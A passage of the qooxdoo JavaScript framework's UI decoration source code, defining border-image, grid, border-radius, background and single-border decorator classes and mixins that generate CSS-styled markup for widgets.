+ "' is present."; var assertMessageBottom = "The value of the property 'bottomSlice' is null! " + "Please verify the image '" + prefix + "-b" + ext + "' is present."; var assertMessageLeft = "The value of the property 'leftSlice' is null! " + "Please verify the image '" + prefix + "-l" + ext + "' is present."; qx.core.Assert.assertNotNull(topSlice, assertMessageTop); qx.core.Assert.assertNotNull(rightSlice, assertMessageRight); qx.core.Assert.assertNotNull(bottomSlice, assertMessageBottom); qx.core.Assert.assertNotNull(leftSlice, assertMessageLeft); } if (topSlice && rightSlice && bottomSlice && leftSlice) { this.__impl.setSlice([topSlice, rightSlice, bottomSlice, leftSlice]); } } }, /* ***************************************************************************** DESTRUCTOR ***************************************************************************** */ destruct : function() { this.__impl.dispose(); this.__impl = null; } });/* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Fabian Jakobs (fjakobs) ************************************************************************ */ /** * Decorator, which uses the CSS3 border image properties. * * This decorator can be used as replacement for {@link qx.ui.layout.Grid}, * {@link qx.ui.layout.HBox} and {@link qx.ui.layout.VBox} decorators in * browsers, which support it. * * Supported browsers are: * <ul> * <li>Firefox >= 3.5</li> * <li>Safari >= 4</li> * <li>Chrome >= 3</li> * <ul> */ qx.Class.define("qx.ui.decoration.css3.BorderImage", { extend : qx.ui.decoration.Abstract, /** * @param borderImage {String} Base image to use * @param slice {Integer|Array} Sets the {@link #slice} property */ construct : function(borderImage, slice) { this.base(arguments); // Initialize properties if (borderImage != null) { this.setBorderImage(borderImage); } if (slice != null) { this.setSlice(slice); } }, statics : { /** * Whether the browser supports this decorator */ IS_SUPPORTED : qx.bom.element.Style.isPropertySupported("borderImage") }, properties : { /** * Base image URL. */ borderImage : { check : "String", nullable : true, apply : "_applyStyle" }, /** * The top slice line of the base image. The slice properties divide the * image into nine regions, which define the corner, edge and the center * images. */ sliceTop : { check : "Integer", init : 0, apply : "_applyStyle" }, /** * The right slice line of the base image. The slice properties divide the * image into nine regions, which define the corner, edge and the center * images. */ sliceRight : { check : "Integer", init : 0, apply : "_applyStyle" }, /** * The bottom slice line of the base image. The slice properties divide the * image into nine regions, which define the corner, edge and the center * images. */ sliceBottom : { check : "Integer", init : 0, apply : "_applyStyle" }, /** * The left slice line of the base image. The slice properties divide the * image into nine regions, which define the corner, edge and the center * images. */ sliceLeft : { check : "Integer", init : 0, apply : "_applyStyle" }, /** * The slice properties divide the image into nine regions, which define the * corner, edge and the center images. */ slice : { group : [ "sliceTop", "sliceRight", "sliceBottom", "sliceLeft" ], mode : "shorthand" }, /** * This property specifies how the images for the sides and the middle part * of the border image are scaled and tiled horizontally. * * Values have the following meanings: * <ul> * <li><strong>stretch</strong>: The image is stretched to fill the area.</li> * <li><strong>repeat</strong>: The image is tiled (repeated) to fill the area.</li> * <li><strong>round</strong>: The image is tiled (repeated) to fill the area. If it does not * fill the area with a whole number of tiles, the image is rescaled so * that it does.</li> * </ul> */ repeatX : { check : ["stretch", "repeat", "round"], init : "stretch", apply : "_applyStyle" }, /** * This property specifies how the images for the sides and the middle part * of the border image are scaled and tiled vertically. * * Values have the following meanings: * <ul> * <li><strong>stretch</strong>: The image is stretched to fill the area.</li> * <li><strong>repeat</strong>: The image is tiled (repeated) to fill the area.</li> * <li><strong>round</strong>: The image is tiled (repeated) to fill the area. If it does not * fill the area with a whole number of tiles, the image is rescaled so * that it does.</li> * </ul> */ repeatY : { check : ["stretch", "repeat", "round"], init : "stretch", apply : "_applyStyle" }, /** * This property specifies how the images for the sides and the middle part * of the border image are scaled and tiled. */ repeat : { group : ["repeatX", "repeatY"], mode : "shorthand" }, /** * If set to <code>false</code>, the center image will be omitted and only * the border will be drawn. */ fill : { check : "Boolean", init : true } }, members : { __markup : null, // overridden _getDefaultInsets : function() { return { top : 0, right : 0, bottom : 0, left : 0 }; }, // overridden _isInitialized: function() { return !!this.__markup; }, /* --------------------------------------------------------------------------- INTERFACE IMPLEMENTATION --------------------------------------------------------------------------- */ // interface implementation getMarkup : function() { if (this.__markup) { return this.__markup; } var source = this._resolveImageUrl(this.getBorderImage()); var slice = [ this.getSliceTop(), this.getSliceRight(), this.getSliceBottom(), this.getSliceLeft() ]; var repeat = [ this.getRepeatX(), this.getRepeatY() ].join(" ") var fill = this.getFill() && qx.core.Environment.get("css.borderimage.standardsyntax") ? " fill" : ""; this.__markup = [ "<div style='", qx.bom.element.Style.compile({ "borderImage" : 'url("' + source + '") ' + slice.join(" ") + fill + " " + repeat, "borderStyle" : "solid", "borderColor" : "transparent", position: "absolute", lineHeight: 0, fontSize: 0, overflow: "hidden", boxSizing: "border-box", borderWidth: slice.join("px ") + "px" }), ";'></div>" ].join(""); // Store return this.__markup; }, // interface implementation resize : function(element, width, height) { element.style.width = width + "px"; element.style.height = height + "px"; }, // interface implementation tint : function(element, bgcolor) { // not implemented }, /* --------------------------------------------------------------------------- PROPERTY APPLY ROUTINES --------------------------------------------------------------------------- */ // property apply _applyStyle : function(value, old, name) { if (qx.core.Environment.get("qx.debug")) { if (this._isInitialized()) { throw new Error("This decorator is already in-use. Modification is not possible anymore!"); } } }, /** * Resolve the url of the given image * * @param image {String} base image URL * @return {String} the resolved image URL */ _resolveImageUrl : function(image) { return qx.util.ResourceManager.getInstance().toUri( qx.util.AliasManager.getInstance().resolve(image) ); } }, destruct : function() { this.__markup = null; } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) * Fabian Jakobs (fjakobs) ************************************************************************ */ /** * A very complex decoration using two, partly combined and clipped images * to render a graphically impressive borders with gradients. * * The decoration supports all forms of vertical gradients. The gradients must * be stretchable to support different heights. * * The edges could use different styles of rounded borders. Even different * edge sizes are supported. The sizes are automatically detected by * the build system using the image meta data. * * The decoration uses clipped images to reduce the number of external * resources to load. */ qx.Class.define("qx.ui.decoration.GridDiv", { extend : qx.ui.decoration.Abstract, /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ /** * @param baseImage {String} Base image to use * @param insets {Integer|Array} Insets for the grid */ construct : function(baseImage, insets) { this.base(arguments); // Initialize properties if (baseImage != null) { this.setBaseImage(baseImage); } if (insets != null) { this.setInsets(insets); } }, /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties : { /** * Base image URL. All the different images needed are named by the default * naming scheme: * * ${baseImageWithoutExtension}-${imageName}.${baseImageExtension} * * These image names are used: * * * tl (top-left edge) * * t (top side) * * tr (top-right edge) * * bl (bottom-left edge) * * b (bottom side) * * br (bottom-right edge) * * * l (left side) * * c (center image) * * r (right side) */ baseImage : { check : "String", nullable : true, apply : "_applyBaseImage" } }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { _markup : null, _images : null, _edges : null, // overridden _getDefaultInsets : function() { return { top : 0, right : 0, bottom : 0, left : 0 }; }, // overridden _isInitialized: function() { return !!this._markup; }, /* --------------------------------------------------------------------------- INTERFACE IMPLEMENTATION --------------------------------------------------------------------------- */ // interface implementation getMarkup : function() { if (this._markup) { return this._markup; } var Decoration = qx.bom.element.Decoration; var images = this._images; var edges = this._edges; // Create edges and vertical sides // Order: tl, t, tr, bl, b, bt, l, c, r var html = []; // Outer frame // Note: Overflow=hidden is needed for Safari 3.1 to omit scrolling through // dragging when the cursor is in the text field in Spinners etc. html.push('<div style="position:absolute;top:0;left:0;overflow:hidden;font-size:0;line-height:0;">'); // Top: left, center, right html.push(Decoration.create(images.tl, "no-repeat", { top: 0, left: 0 })); html.push(Decoration.create(images.t, "scale-x", { top: 0, left: edges.left + "px" })); html.push(Decoration.create(images.tr, "no-repeat", { top: 0, right : 0 })); // Bottom: left, center, right html.push(Decoration.create(images.bl, "no-repeat", { bottom: 0, left:0 })); html.push(Decoration.create(images.b, "scale-x", { bottom: 0, left: edges.left + "px" })); html.push(Decoration.create(images.br, "no-repeat", { bottom: 0, right: 0 })); // Middle: left, center, right html.push(Decoration.create(images.l, "scale-y", { top: edges.top + "px", left: 0 })); html.push(Decoration.create(images.c, "scale", { top: edges.top + "px", left: edges.left + "px" })); html.push(Decoration.create(images.r, "scale-y", { top: edges.top + "px", right: 0 })); // Outer frame html.push('</div>'); // Store return this._markup = html.join(""); }, // interface implementation resize : function(element, width, height) { // Compute inner sizes var edges = this._edges; var innerWidth = width - edges.left - edges.right; var innerHeight = height - edges.top - edges.bottom; // Set the inner width or height to zero if negative if (innerWidth < 0) {innerWidth = 0;} if (innerHeight < 0) {innerHeight = 0;} // Update nodes element.style.width = width + "px"; element.style.height = height + "px"; element.childNodes[1].style.width = innerWidth + "px"; element.childNodes[4].style.width = innerWidth + "px"; element.childNodes[7].style.width = innerWidth + "px"; element.childNodes[6].style.height = innerHeight + "px"; element.childNodes[7].style.height = innerHeight + "px"; element.childNodes[8].style.height = innerHeight + "px"; if ((qx.core.Environment.get("engine.name") == "mshtml")) { // Internet Explorer as of version 6 or version 7 in quirks mode // have rounding issues when working with odd dimensions: // right and bottom positioned elements are rendered with a // one pixel negative offset which results into some ugly // render effects. if ( parseFloat(qx.core.Environment.get("engine.version")) < 7 || (qx.core.Environment.get("browser.quirksmode") && parseFloat(qx.core.Environment.get("engine.version")) < 8) ) { if (width%2==1) { element.childNodes[2].style.marginRight = "-1px"; element.childNodes[5].style.marginRight = "-1px"; element.childNodes[8].style.marginRight = "-1px"; } else { element.childNodes[2].style.marginRight = "0px"; element.childNodes[5].style.marginRight = "0px"; element.childNodes[8].style.marginRight = "0px"; } if (height%2==1) { element.childNodes[3].style.marginBottom = "-1px"; element.childNodes[4].style.marginBottom = "-1px"; element.childNodes[5].style.marginBottom = "-1px"; } else { element.childNodes[3].style.marginBottom = "0px"; element.childNodes[4].style.marginBottom = "0px"; element.childNodes[5].style.marginBottom = "0px"; } } } }, // interface implementation tint : function(element, bgcolor) { // not implemented }, /* --------------------------------------------------------------------------- PROPERTY APPLY ROUTINES --------------------------------------------------------------------------- */ // property apply _applyBaseImage : function(value, old) { if (qx.core.Environment.get("qx.debug")) { if (this._markup) { throw new Error("This decorator is already in-use. Modification is not possible anymore!"); } } if (value) { var base = this._resolveImageUrl(value); var split = /(.*)(\.[a-z]+)$/.exec(base); var prefix = split[1]; var ext = split[2]; // Store images var images = this._images = { tl : prefix + "-tl" + ext, t : prefix + "-t" + ext, tr : prefix + "-tr" + ext, bl : prefix + "-bl" + ext, b : prefix + "-b" + ext, br : prefix + "-br" + ext, l : prefix + "-l" + ext, c : prefix + "-c" + ext, r : prefix + "-r" + ext }; // Store edges this._edges = this._computeEdgeSizes(images); } }, /** * Resolve the url of the given image * * @param image {String} base image URL * @return {String} the resolved image URL */ _resolveImageUrl : function(image) { return qx.util.AliasManager.getInstance().resolve(image); }, /** * Returns the sizes of the "top" and "bottom" heights and the "left" and * "right" widths of the grid. * * @param images {Map} Map of image URLs * @return {Map} the edge sizes */ _computeEdgeSizes : function(images) { var ResourceManager = qx.util.ResourceManager.getInstance(); return { top : ResourceManager.getImageHeight(images.t), bottom : ResourceManager.getImageHeight(images.b), left : ResourceManager.getImageWidth(images.l), right : ResourceManager.getImageWidth(images.r) }; } }, /* ***************************************************************************** DESTRUCTOR ***************************************************************************** */ destruct : function() { this._markup = this._images = this._edges = null; } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2010 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * Mixin for the border radius CSS property. * This mixin is usually used by {@link qx.ui.decoration.DynamicDecorator}. * * Keep in mind that this is not supported by all browsers: * * * Firefox 3,5+ * * IE9+ * * Safari 3.0+ * * Opera 10.5+ * * Chrome 4.0+ */ qx.Mixin.define("qx.ui.decoration.MBorderRadius", { properties : { /** top left corner radius */ radiusTopLeft : { nullable : true, check : "Integer", apply : "_applyBorderRadius" }, /** top right corner radius */ radiusTopRight : { nullable : true, check : "Integer", apply : "_applyBorderRadius" }, /** bottom left corner radius */ radiusBottomLeft : { nullable : true, check : "Integer", apply : "_applyBorderRadius" }, /** bottom right corner radius */ radiusBottomRight : { nullable : true, check : "Integer", apply : "_applyBorderRadius" }, /** Property group to set the corner radius of all sides */ radius : { group : [ "radiusTopLeft", "radiusTopRight", "radiusBottomRight", "radiusBottomLeft" ], mode : "shorthand" } }, members : { /** * Takes a styles map and adds the border radius styles in place to the * given map. This is the needed behavior for * {@link qx.ui.decoration.DynamicDecorator}. * * @param styles {Map} A map to add the styles. */ _styleBorderRadius : function(styles) { // Fixing the background bleed in Webkits // http://tumble.sneak.co.nz/post/928998513/fixing-the-background-bleed styles["-webkit-background-clip"] = "padding-box"; // radius handling var radius = this.getRadiusTopLeft(); if (radius > 0) { styles["-moz-border-radius-topleft"] = radius + "px"; styles["-webkit-border-top-left-radius"] = radius + "px"; styles["border-top-left-radius"] = radius + "px"; } radius = this.getRadiusTopRight(); if (radius > 0) { styles["-moz-border-radius-topright"] = radius + "px"; styles["-webkit-border-top-right-radius"] = radius + "px"; styles["border-top-right-radius"] = radius + "px"; } radius = this.getRadiusBottomLeft(); if (radius > 0) { styles["-moz-border-radius-bottomleft"] = radius + "px"; styles["-webkit-border-bottom-left-radius"] = radius + "px"; styles["border-bottom-left-radius"] = radius + "px"; } radius = this.getRadiusBottomRight(); if (radius > 0) { styles["-moz-border-radius-bottomright"] = radius + "px"; styles["-webkit-border-bottom-right-radius"] = radius + "px"; styles["border-bottom-right-radius"] = radius + "px"; } }, // property apply _applyBorderRadius : function() { if (qx.core.Environment.get("qx.debug")) { if (this._isInitialized()) { throw new Error("This decorator is already in-use. Modification is not possible anymore!"); } } } } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2010 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * Mixin responsible for setting the background color of a widget. * This mixin is usually used by {@link qx.ui.decoration.DynamicDecorator}. */ qx.Mixin.define("qx.ui.decoration.MBackgroundColor", { properties : { /** Color of the background */ backgroundColor : { check : "Color", nullable : true, apply : "_applyBackgroundColor" } }, members : { /** * Tint function for the background color. This is suitable for the * {@link qx.ui.decoration.DynamicDecorator}. * * @param element {Element} The element which could be resized. * @param bgcolor {Color} The new background color. * @param styles {Map} A map of styles to apply. */ _tintBackgroundColor : function(element, bgcolor, styles) { if (bgcolor == null) { bgcolor = this.getBackgroundColor(); } if (qx.core.Environment.get("qx.theme")) { bgcolor = qx.theme.manager.Color.getInstance().resolve(bgcolor); } styles.backgroundColor = bgcolor || ""; }, /** * Resize function for the background color. This is suitable for the * {@link qx.ui.decoration.DynamicDecorator}. * * @param element {Element} The element which could be resized. * @param width {Number} The new width. * @param height {Number} The new height. * @return {Map} A map containing the desired position and dimension * (width, height, top, left). */ _resizeBackgroundColor : function(element, width, height) { var insets = this.getInsets(); width -= insets.left + insets.right; height -= insets.top + insets.bottom; return { left : insets.left, top : insets.top, width : width, height : height }; }, // property apply _applyBackgroundColor : function() { if (qx.core.Environment.get("qx.debug")) { if (this._isInitialized()) { throw new Error("This decorator is already in-use. Modification is not possible anymore!"); } } } } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2009 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * Mixin for supporting the background images on decorators. * This mixin is usually used by {@link qx.ui.decoration.DynamicDecorator}. */ qx.Mixin.define("qx.ui.decoration.MBackgroundImage", { properties : { /** The URL of the background image */ backgroundImage : { check : "String", nullable : true, apply : "_applyBackgroundImage" }, /** How the background image should be repeated */ backgroundRepeat : { check : ["repeat", "repeat-x", "repeat-y", "no-repeat", "scale"], init : "repeat", apply : "_applyBackgroundImage" }, /** * Either a string or a number, which defines the horizontal position * of the background image. * * If the value is an integer it is interpreted as a pixel value, otherwise * the value is taken to be a CSS value. For CSS, the values are "center", * "left" and "right". */ backgroundPositionX : { nullable : true, apply : "_applyBackgroundImage" }, /** * Either a string or a number, which defines the vertical position * of the background image. * * If the value is an integer it is interpreted as a pixel value, otherwise * the value is taken to be a CSS value. For CSS, the values are "top", * "center" and "bottom". */ backgroundPositionY : { nullable : true, apply : "_applyBackgroundImage" }, /** * Property group to define the background position */ backgroundPosition : { group : ["backgroundPositionY", "backgroundPositionX"] } }, members : { /** * Mapping for the dynamic decorator. */ _generateMarkup : this._generateBackgroundMarkup, /** * Responsible for generating the markup for the background. * This method just uses the settings in the properties to generate * the markup. * * @param styles {Map} CSS styles as map * @param content {String?null} The content of the created div as HTML * @return {String} The generated HTML fragment */ _generateBackgroundMarkup: function(styles, content) { var markup = ""; var image = this.getBackgroundImage(); var repeat = this.getBackgroundRepeat(); var top = this.getBackgroundPositionY(); if (top == null) { top = 0; } var left = this.getBackgroundPositionX(); if (left == null) { left = 0; } styles.backgroundPosition = left + " " + top; // Support for images if (image) { var resolved = qx.util.AliasManager.getInstance().resolve(image); markup = qx.bom.element.Decoration.create(resolved, repeat, styles); } else { if ((qx.core.Environment.get("engine.name") == "mshtml")) { /* * Internet Explorer as of version 6 for quirks and standards mode, * or version 7 in quirks mode adds an empty string to the "div" * node. This behavior causes rendering problems, because the node * would then have a minimum size determined by the font size. * To be able to set the "div" node height to a certain (small) * value independent of the minimum font size, an "overflow:hidden" * style is added. * */ if (parseFloat(qx.core.Environment.get("engine.version")) < 7 || qx.core.Environment.get("browser.quirksmode")) { // Add additionally style styles.overflow = "hidden"; } } if (!content) { content = ""; } markup = '<div style="' + qx.bom.element.Style.compile(styles) + '">' + content + '</div>'; } return markup; }, // property apply _applyBackgroundImage : function() { if (qx.core.Environment.get("qx.debug")) { if (this._isInitialized()) { throw new Error("This decorator is already in-use. Modification is not possible anymore!"); } } } } });/* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2010 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Martin Wittemann (martinwittemann) ************************************************************************ */ /** * A basic decorator featuring simple borders based on CSS styles. * This mixin is usually used by {@link qx.ui.decoration.DynamicDecorator}. */ qx.Mixin.define("qx.ui.decoration.MSingleBorder", { properties : { /* --------------------------------------------------------------------------- PROPERTY: WIDTH --------------------------------------------------------------------------- */ /** top width of border */ widthTop : { check : "Number", init : 0, apply : "_applyWidth" }, /** right width of border */ widthRight : { check : "Number", init : 0, apply : "_applyWidth" }, /** bottom width of border */ widthBottom : { check : "Number", init : 0, apply : "_applyWidth" }, /** left width of border */ widthLeft : { check : "Number", init : 0, apply : "_applyWidth" }, /* --------------------------------------------------------------------------- PROPERTY: STYLE --------------------------------------------------------------------------- */ /** top style of border */ styleTop : { nullable : true, check : [ "solid", "dotted", "dashed", "double"], init : "solid", apply : "_applyStyle" }, /** right style of border */ styleRight : { nullable : true, check : [ "solid", "dotted", "dashed", "double"], init : "solid", apply : "_applyStyle" }, /** bottom style of border */ styleBottom : { nullable : true, check : [ "solid", "dotted", "dashed", "double"], init : "solid", apply : "_applyStyle" }, /** left style of border */ styleLeft : { nullable : true, check : [ "solid", "dotted", "dashed", "double"], init : "solid", apply : "_applyStyle" }, /* --------------------------------------------------------------------------- PROPERTY: COLOR --------------------------------------------------------------------------- */ /** top color of border */ colorTop : { nullable : true, check : "Color", apply : "_applyStyle" }, /** right color of border */ colorRight : { nullable : true, check : "Color", apply : "_applyStyle" }, /** bottom color of border */ colorBottom : { nullable : true, check : "Color", apply : "_applyStyle" }, /** left color of border */ colorLeft : { nullable : true, check : "Color", apply : "_applyStyle" }, /* --------------------------------------------------------------------------- PROPERTY GROUP: EDGE --------------------------------------------------------------------------- */ /** Property group to configure the left border */ left : { group : [ "widthLeft", "styleLeft", "colorLeft" ] }, /** Property group to configure the right border */ right : { group : [ "widthRight", "styleRight", "colorRight" ] }, /** Property group to configure the top border */ top : { group : [ "widthTop", "styleTop", "colorTop" ] }, /** Property group to configure the bottom border */ bottom : { group : [ "widthBottom", "styleBottom", "colorBottom" ] }, /* --------------------------------------------------------------------------- PROPERTY GROUP: TYPE --------------------------------------------------------------------------- */ /** Property group to set the border width of all sides */ width : { group : [ "widthTop", "widthRight", "widthBottom", "widthLeft" ], mode : "shorthand" }, /** Property group to set the border style of all sides */ style : { group : [ "styleTop", "styleRight", "styleBottom", "styleLeft" ], mode : "shorthand" }, /** Property group to set the border color of all sides */ color : { group : [ "colorTop", "colorRight", "colorBottom", "colorLeft" ], mode : "shorthand" } }, members : { /** * Takes a styles map and adds the border styles styles in place * to the given map. This is the needed behavior for * {@link qx.ui.decoration.DynamicDecorator}. * * @param styles {Map} A map to add the styles. */ _styleBorder : function(styles) { if (qx.core.Environment.get("qx.theme")) { var Color = qx.theme.manager.Color.getInstance(); var colorTop = Color.resolve(this.getColorTop()); var colorRight = Color.resolve(this.getColorRight()); var colorBottom = Color.resolve(this.getColorBottom()); var colorLeft = Color.resolve(this.getColorLeft()); } else { var colorTop = this.getColorTop(); var colorRight = this.getColorRight(); var colorBottom = this.getColorBottom(); var colorLeft = this.getColorLeft(); } // Add borders var width = this.getWidthTop(); if (width > 0) { styles["border-top"] = width + "px " + this.getStyleTop() + " " + (colorTop || ""); } var width = this.getWidthRight(); if (width > 0) { styles["border-right"] = width + "px " + this.getStyleRight() + " " + (colorRight || ""); } var width = this.getWidthBottom(); if (width > 0) { styles["border-bottom"] = width + "px " + this.getStyleBottom() + " " + (colorBottom || ""); } var width = this.getWidthLeft(); if (width > 0) { styles["border-left"] = width + "px " + this.getStyleLeft() + " " + (colorLeft || ""); } // Check if valid if (qx.core.Environment.get("qx.debug")) { if (styles.length === 0) { throw new Error("Invalid Single decorator (zero border width). Use qx.ui.decorator.Background instead!"); } } // Add basic styles styles.position = "absolute"; styles.top = 0; styles.left = 0; }, /** * Resize function for the decorator. This is suitable for the * {@link qx.ui.decoration.DynamicDecorator}. * * @param element {Element} The element which could be resized. * @param width {Number} The new width. * @param height {Number} The new height. * @return {Map} A map containing the desired position and dimension. * (width, height, top, left). */ _resizeBorder : function(element, width, height) { var insets = this.getInsets(); width -= insets.left + insets.right; height -= insets.top + insets.bottom; // Fix to keep applied size above zero // Makes issues in IE7 when applying value like '-4px' if (width < 0) { width = 0; } if (height < 0) { height = 0; } return { left : insets.left - this.getWidthLeft(), top : insets.top - this.getWidthTop(), width : width, height : height }; }, /** * Implementation of the interface for the single border. * * @return {Map} A map containing the default insets. * (top, right, bottom, left) */ _getDefaultInsetsForBorder : function() { return { top : this.getWidthTop(), right : this.getWidthRight(), bottom : this.getWidthBottom(), left : this.getWidthLeft() }; }, /* --------------------------------------------------------------------------- PROPERTY APPLY ROUTINES --------------------------------------------------------------------------- */ // property apply _applyWidth : function() { this._applyStyle(); this._resetInsets(); }, // property apply _applyStyle : function() { if (qx.core.Environment.get("qx.debug")) { if (this._markup) { throw new Error("This decorator is already in-use. Modification is not possible anymore!"); } } } } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) * Fabian Jakobs (fjakobs) ************************************************************************ */ /** * A basic decorator featuring background colors and simple borders based on * CSS styles. */ qx.Class.define("qx.ui.decoration.Single", { extend : qx.ui.decoration.Abstract, include : [ qx.ui.decoration.MBackgroundImage, qx.ui.decoration.MBackgroundColor, qx.ui.decoration.MSingleBorder ], /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ /** * @param width {Integer} Width of the border * @param style {String} Any supported border style * @param color {Color} The border color */ construct : function(width, style, color) { this.base(arguments); // Initialize properties if (width != null) { this.setWidth(width); } if (style != null) { this.setStyle(style); } if (color != null) { this.setColor(color); } }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { _markup : null, /* --------------------------------------------------------------------------- INTERFACE IMPLEMENTATION --------------------------------------------------------------------------- */ // interface implementation getMarkup : function() { if (this._markup) { return this._markup; } var styles = {}; // get the single border styles this._styleBorder(styles); var html = this._generateBackgroundMarkup(styles); return this._markup = html; }, // interface implementation resize : function(element, width, height) { // get the width and height of the mixins var pos = this._resizeBorder(element, width, height); element.style.width = pos.width + "px"; element.style.height = pos.height + "px"; element.style.left = pos.left + "px"; element.style.top = pos.top + "px"; }, // interface implementation tint : function(element, bgcolor) { this._tintBackgroundColor(element, bgcolor, element.style); }, // overridden _isInitialized: function() { return !!this._markup; }, // overridden _getDefaultInsets : function() { return this._getDefaultInsetsForBorder(); } }, /* ***************************************************************************** DESTRUCTOR ***************************************************************************** */ destruct : function() { this._markup = null; } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) * Fabian Jakobs (fjakobs) ************************************************************************ */ /** * A very simple decorator featuring background images and colors. No * border is supported. */ qx.Class.define("qx.ui.decoration.Background", { extend : qx.ui.decoration.Abstract, include : [ qx.ui.decoration.MBackgroundImage, qx.ui.decoration.MBackgroundColor ], /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ /** * @param backgroundColor {Color} Initialize with background color */ construct : function(backgroundColor) { this.base(arguments); if (backgroundColor != null) { this.setBackgroundColor(backgroundColor); } }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { __markup : null, // overridden _getDefaultInsets : function() { return { top : 0, right : 0, bottom : 0, left : 0 }; }, // overridden _isInitialized: function() { return !!this.__markup; }, /* --------------------------------------------------------------------------- INTERFACE IMPLEMENTATION --------------------------------------------------------------------------- */ // interface implementation getMarkup : function() { if (this.__markup) { return this.__markup; } var styles = { position: "absolute", top: 0, left: 0 }; var html = this._generateBackgroundMarkup(styles); // Store return this.__markup = html; }, // interface implementation resize : function(element, width, height) { var insets = this.getInsets(); element.style.width = (width - insets.left - insets.right) + "px"; element.style.height = (height - insets.top - insets.bottom) + "px"; element.style.left = -insets.left + "px"; element.style.top = -insets.top + "px"; }, // interface implementation tint : function(element, bgcolor) { this._tintBackgroundColor(element, bgcolor, element.style); } }, /* ***************************************************************************** DESTRUCTOR ***************************************************************************** */ destruct : function() { this.__markup = null; } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) * Fabian Jakobs (fjakobs) ************************************************************************ */ /** * A simple decorator featuring background images and colors and a simple * uniform border based on CSS styles. */ qx.Class.define("qx.ui.decoration.Uniform", { extend : qx.ui.decoration.Single, /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ /** * @param width {Integer} Width of the border * @param style {String} Any supported border style * @param color {Color} The border color */ construct : function(width, style, color) { this.base(arguments); // Initialize properties if (width != null) { this.setWidth(width); } if (style != null) { this.setStyle(style); } if (color != null) { this.setColor(color); } } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) * Fabian Jakobs (fjakobs) ************************************************************************ */ /** * Beveled is a variant of a rounded decorator which is quite optimal * regarding performance and still delivers a good set of features: * * * One pixel rounded border * * Inner glow color with optional transparency * * Repeated or scaled background image */ qx.Class.define("qx.ui.decoration.Beveled", { extend : qx.ui.decoration.Abstract, include : [qx.ui.decoration.MBackgroundImage, qx.ui.decoration.MBackgroundColor], /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ /** * @param outerColor {Color} The outer border color * @param innerColor {Color} The inner border color * @param innerOpacity {Float} Opacity of inner border */ construct : function(outerColor, innerColor, innerOpacity) { this.base(arguments); // Initialize properties if (outerColor != null) { this.setOuterColor(outerColor); } if (innerColor != null) { this.setInnerColor(innerColor); } if (innerOpacity != null) { this.setInnerOpacity(innerOpacity); } }, /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties : { /** * The color of the inner frame. */ innerColor : { check : "Color", nullable : true, apply : "_applyStyle" }, /** * The opacity of the inner frame. As this inner frame * is rendered above the background image this may be * intersting to configure as semi-transparent e.g. <code>0.4</code>. */ innerOpacity : { check : "Number", init : 1, apply : "_applyStyle" }, /** * Color of the outer frame. The corners are automatically * rendered with a slight opacity to fade into the background */ outerColor : { check : "Color", nullable : true, apply : 